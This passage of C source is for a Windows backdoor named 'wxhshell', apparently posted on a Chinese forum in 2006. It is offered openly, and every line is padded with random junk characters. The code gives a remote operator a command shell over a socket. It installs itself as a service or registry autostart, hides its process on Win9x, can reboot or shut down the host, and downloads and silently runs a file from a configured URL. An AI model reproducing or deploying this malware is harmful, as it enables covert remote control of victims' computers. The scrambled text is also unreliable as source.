  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]QY-L O(  
  } tkptm%I _  
  else { '6\w4J(  
hJ%$Te  
    switch(cmd[0]) { v0\M$@N[  
  E*T6kp^b  
  // 帮助 9-{.WZ  
  case '?': { Bkn]80W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6*$A/D  
    break; ?r)>SB3(e  
  } ZB$yEW]]~  
  // 安装 6IK>v*<  
  case 'i': { Z?[ R;V1j  
    if(Install()) u&={hJ&7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >_]Ov:5  
    else # ^,8JRA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /8:e| ]  
    break; +6+1N)L  
    } Kn1u1@&Xd  
  // 卸载 ZBU<L+#  
  case 'r': { krlebPs[  
    if(Uninstall()) elKp?YN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OUN~7]OD%  
    else O['[_1n_u]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oMM@{Jp  
    break; suaP'0  
    } uj%]+Llxv  
  // 显示 wxhshell 所在路径 NODg_J~T  
  case 'p': { 4\V/A+<W  
    char svExeFile[MAX_PATH]; Oi C|~8  
    strcpy(svExeFile,"\n\r"); N1y,~Z  
      strcat(svExeFile,ExeFile); T$FKn  
        send(wsh,svExeFile,strlen(svExeFile),0); Ai 8+U)  
    break; .3XSF$;  
    } 07(LLhk@d  
  // 重启 {9P(U\]e]k  
  case 'b': { $Sm iN'7;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~k@{b&  
    if(Boot(REBOOT)) u@Ni *)p`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1:DA{ejS  
    else { c*[aIqj  
    closesocket(wsh); ESIeZhXVH  
    ExitThread(0); sy(bL _%  
    } `\ nKPj  
    break; :SMf (E 5  
    } 1z,P"?Q  
  // 关机 Um-Xb'R*]V  
  case 'd': { *fyaAv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E\Iz:ES^  
    if(Boot(SHUTDOWN)) WqCER^~'>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pK>/c>de  
    else { =(c.8d  
    closesocket(wsh); -~~R?,H'Z_  
    ExitThread(0); U CFw+  
    } `5x0p a  
    break; ]w-W  
    } +-V4:@  
  // 获取shell mMu+MXTk<  
  case 's': { #MMp0  
    CmdShell(wsh); 1!+0]_8K  
    closesocket(wsh); 3$_- 0>  
    ExitThread(0); #w^Ot*{!N  
    break; *r~6R  
  }  SBi4i;qD  
  // 退出 :< ]sJf N  
  case 'x': { u1z!OofN>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b'/:e#F  
    CloseIt(wsh); JAwEu79sh  
    break; `i~J0#P  
    } `09[25?  
  // 离开 eXLdb-  
  case 'q': { xo-}t5w6t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5Tidb$L;Du  
    closesocket(wsh); fo9V&NE  
    WSACleanup(); `J{{E,y @  
    exit(1); |`I9K#w3  
    break; }U%E-:  
        } 3][   
  } us:v/WTQ  
  } op&j4R  
S!R (ae^}  
  // 提示信息 .lz= MUR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +).=}.k  
} >k}Kf1I  
  } g'-hSV/@}@  
tM:$H6m/(  
  return; S =sL:FC  
} ZM=eiJZ  
v,3 }YDu  
// shell模块句柄 oO;< $wx2t  
int CmdShell(SOCKET sock) pBu}c<  
{ QNcl    
STARTUPINFO si; s2+_`Ogg  
ZeroMemory(&si,sizeof(si)); -HFyNk]>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fB4zqMSfE  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,mD$h?g  
PROCESS_INFORMATION ProcessInfo; vL;=qk TCQ  
char cmdline[]="cmd"; `;Fs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sY}0PB  
  return 0; dr"@2=Z  
} D_w<igu!3  
`V[ hE r|  
// 自身启动模式 q^[SN  
int StartFromService(void) THwq~c'  
{ PXDJ[Oj7(0  
typedef struct ,;=is.h9  
{ RHt~:D3*  
  DWORD ExitStatus; BJZGQrsz  
  DWORD PebBaseAddress; eTtiAF=bW  
  DWORD AffinityMask; # o\&G@e}  
  DWORD BasePriority; gF~ }  
  ULONG UniqueProcessId; 0}Q d  
  ULONG InheritedFromUniqueProcessId; fAT M?  
}   PROCESS_BASIC_INFORMATION; _oU~S$hO  
t..@69  
PROCNTQSIP NtQueryInformationProcess; HhTD/   
g3(?!f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _[hVGCSB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @Y6~;(p  
j6rwlwN  
  HANDLE             hProcess; {\k:?w4  
  PROCESS_BASIC_INFORMATION pbi; BQ!_i*14+  
r?Pk}Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $! UEpQ  
  if(NULL == hInst ) return 0; p1\E C#Q  
<+`}: A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); |e&hm ~R1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Hn?v  /3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xl@  
~</H>Jd  
  if (!NtQueryInformationProcess) return 0; <QK2Wc_}-"  
4e|(= W`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }M(XHw  
  if(!hProcess) return 0; yjChnp Cc  
zhACNz4tJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7(zY:9|(  
:\#/T,K"  
  CloseHandle(hProcess);  Y}Nd2  
f87lm*wZ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); YYd!/@|N5  
if(hProcess==NULL) return 0; Rd+ `b  
>!P !F(  
HMODULE hMod;  ] 2lh J  
char procName[255]; @p7*JLO  
unsigned long cbNeeded; )G$0:-J-  
8.D9OpU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J|o )c~  
R<8!lQ4s  
  CloseHandle(hProcess); OQsF$% *   
;c>IM]  
if(strstr(procName,"services")) return 1; // 以服务启动 4p/d>DTiM  
4ko(bW#jL  
  return 0; // 注册表启动 =a./HCF  
} 7Dx <Sr!  
C5'#0}6i  
// 主模块 ;jT@eBJ  
int StartWxhshell(LPSTR lpCmdLine) C C`Y r  
{ k*= #XbX  
  SOCKET wsl; @RI\CqFHR  
BOOL val=TRUE; g h&,U`  
  int port=0; Z;GZ?NOlY  
  struct sockaddr_in door; F%q}N,W  
*Q2}Qbu  
  if(wscfg.ws_autoins) Install(); Ceak8#|4  
M!b"c4|<  
port=atoi(lpCmdLine); =(>pv,  
;*8,PV0b_<  
if(port<=0) port=wscfg.ws_port; mA']*)L1  
I>3]VR i  
  WSADATA data; p EbyQ[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S9S%7pE  
xy1R_*.F^T  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   VpmD1YSn  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G>c:+`KS  
  door.sin_family = AF_INET; ,hXhcfFl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); i@#fyU)[G  
  door.sin_port = htons(port); $"]*,=-X  
AtW<e;!0te  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yj C@  
closesocket(wsl); :/'oh]T|  
return 1; dn@_\5  
} "~/O>.p  
$23dcC*hI  
  if(listen(wsl,2) == INVALID_SOCKET) { $|bdeQPr\  
closesocket(wsl); &>%9JXU  
return 1; R3%&\<a)9  
} _V-pr#lP1  
  Wxhshell(wsl); DS1_hbk  
  WSACleanup(); B1Cu?k);.  
l|&DI]gw  
return 0; 0P_3%   
use` y^c  
} ptEChoZ6  
h1.<\GO  
// 以NT服务方式启动 #=\nuT'oy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j?y_ H[Z  
{ HH94?&  
DWORD   status = 0; 80;^]l   
  DWORD   specificError = 0xfffffff; As-xO~+  
C;NG#4;'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -7:_Dy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K/ 5U;oC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1=Nh<FuQ  
  serviceStatus.dwWin32ExitCode     = 0; ct![eWsuB  
  serviceStatus.dwServiceSpecificExitCode = 0; ~zT743  
  serviceStatus.dwCheckPoint       = 0; R\d)kcy4  
  serviceStatus.dwWaitHint       = 0; tKKQli4Mn4  
,c9K]>8m`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =S:Snk%  
  if (hServiceStatusHandle==0) return; RYuR&0_{  
zyi;vu  
status = GetLastError(); A 2Rp  
  if (status!=NO_ERROR) X(*MHBd  
{ wPrqFpf  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /[RO>Z9  
    serviceStatus.dwCheckPoint       = 0; #[.aj2  
    serviceStatus.dwWaitHint       = 0; | )M>;q   
    serviceStatus.dwWin32ExitCode     = status; o6T'U#7P  
    serviceStatus.dwServiceSpecificExitCode = specificError; @J UCXm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #cy;((zuB  
    return; A$Ok^  
  } T.?}iz=ZEq  
KoKd.%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g,] GzHV1  
  serviceStatus.dwCheckPoint       = 0; Ek%mX"  
  serviceStatus.dwWaitHint       = 0; {f:%+h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ].r~?9'/  
} {IA3`y~  
RJk42;]  
// 处理NT服务事件,比如:启动、停止 nBJ'ak   
VOID WINAPI NTServiceHandler(DWORD fdwControl) oZwu`~h Y  
{ hWD%_"yhd  
switch(fdwControl) -b$m<\0*  
{ 4(D/~OG-6  
case SERVICE_CONTROL_STOP: ]<Kkq !  
  serviceStatus.dwWin32ExitCode = 0; " ';K$&,[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *~SanL\  
  serviceStatus.dwCheckPoint   = 0; Q.Xs%{B  
  serviceStatus.dwWaitHint     = 0; LZH~VkK@m}  
  { 'K*. ?M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]L{diD 2G  
  } )]M,OMYq-  
  return; _-5|"oJ  
case SERVICE_CONTROL_PAUSE: ]CxD m  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; zSo(+D &[  
  break; o4F(X0  
case SERVICE_CONTROL_CONTINUE: ALXie86a8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7w51UmO  
  break; +nU=)x?38  
case SERVICE_CONTROL_INTERROGATE: ~ NZC0&  
  break; IB\O[R$x  
}; (utk)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )wyC8`&-  
} F0x'^Z}Q;  
7*\Cf qrU  
// 标准应用程序主函数 n5>OZ3 E@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HP2J`>oo  
{ !hWS%m@  
yB2}[1  
// 获取操作系统版本 WiiAIv&  
OsIsNt=GetOsVer(); IC6r?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +*L<"@  
k$3Iv"gbx  
  // 从命令行安装 Cm%|hk>fQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); ,4--3 MU  
GW,RE\Q:  
  // 下载执行文件 /^hc8X  
if(wscfg.ws_downexe) { t 0.71(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) _Nacqa  
  WinExec(wscfg.ws_filenam,SW_HIDE); Lq2ZgKd!  
} >0E3Em<(}l  
_|VF^\i  
if(!OsIsNt) { i+ICgMcd  
// 如果时win9x,隐藏进程并且设置为注册表启动 "DvhAEM  
HideProc(); F4DJML-(  
StartWxhshell(lpCmdLine); H7%q[O  
} ToR@XL!%rP  
else "6q@}sz!  
  if(StartFromService()) ;u;_\k<qK  
  // 以服务方式启动 7_ s7 );  
  StartServiceCtrlDispatcher(DispatchTable); \=uD)9 V  
else .H 9 r_  
  // 普通方式启动 o@sL/5,  
  StartWxhshell(lpCmdLine); {4eI} p<  
{H3B1*Dk  
return 0; i F \H  
}
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只看该作者 1 发表于: 2006-10-10
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